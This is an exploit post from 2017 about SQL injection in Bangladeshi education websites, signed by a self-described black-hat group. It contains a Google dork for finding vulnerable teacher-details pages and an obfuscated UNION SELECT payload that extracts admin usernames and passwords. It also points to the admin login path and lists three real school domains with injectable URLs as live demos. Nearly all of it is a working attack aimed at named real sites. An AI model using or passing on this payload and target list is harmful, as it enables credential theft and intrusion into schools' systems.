##################################################### # Exploit Title : BD Education Websites Multi Sql Injection {Part 2} # Google Dork : inurl:/teachers_details.php?teacher_ID= site:edu.bd # Exploit Author : mr.Gh0st N@0b # Tested On : Windows 10 # CWEs : CWE-89 # Date : 8.12.2017 ##################################################### # [Inject Point] # http://site.com/teachers_details.php?teacher_ID=....' {Inject} # [POC & Exploit] # /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,2,(SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(xpert_admin)WHERE(@x)IN(@x:=CONCAT(0x20,@x,admin_user_name,0x3a,admin_password,0x3c62723e))))x),4,5,6,7,8,9,10,11,12,13,14,15,16,17-- - # [Admin Panel] # http://site.com/apanel/ {login Here} # [Demo] # http://www.ahsaniamam.edu.bd/teachers_details.php?teacher_ID=fac7152990' # http://auss.edu.bd/teachers_details.php?teacher_ID=fac1951974' # http://www.bjshschool.edu.bd/teachers_details.php?teacher_ID=' ##################################################### # [Bio] # mr.Gh0st N@0b ~ Myanmar Noob Hackers # Greetz to All Myanmar Black Hats # We Are -> H@73L noob -> Noob L34Rn3r -> ko noob -> Noob Soul -> N@ob 5t4r -> Noob Att@ck3r -> NooB 8007 -> Z3Ro Noob -> B@by Noob F!ght3R -> mr.Gh0st N@0b -> MrK1DD13 Noob -> FR33D0M N00b # https://www.facebook.com/official.myanmar.noob.hackers/